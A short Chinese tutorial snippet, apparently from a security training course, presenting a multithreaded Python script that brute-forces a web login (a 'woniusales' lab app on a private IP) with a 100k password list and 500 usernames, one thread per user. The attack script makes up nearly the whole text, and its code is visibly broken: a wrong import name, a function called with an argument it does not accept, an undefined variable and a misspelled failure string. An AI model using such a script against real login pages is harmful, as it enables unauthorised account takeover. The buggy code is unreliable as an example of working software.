目录
多线程同时爆破
import hashlib, time, request
import threading
# 爆破woniuxuewan
def ws_thread():
with open('../dict/password-top100k') as file:
pw_list = file.readlines()
url = 'http://192.168.112.130:8080/woniusales/user/login'
count = 0
for password in pw_list:
data ={'username':'woniu','password':password.strip(),'verifycode':'0000'}
resp = requests.post(url=url,data=data)
if 'login-fali' not in resp.text:
print(f'疑似密码为:{password.rstrip()}')
print(f'共计尝试{count}次。')
exit()
count += 1
if __name__=='__main__':
with open('../dict/username-top500.txt') as file:
user_list = file.readlines()
for user in user_list:
#调用线程库,由于user有500个用户,故有500条线程 。
threading.Thread(target=ws_thread,args=(username.strip(),)).start()
#注意:当有5000个用户是怎么办
提示:当用户名较多时,注意限制调用线程的数量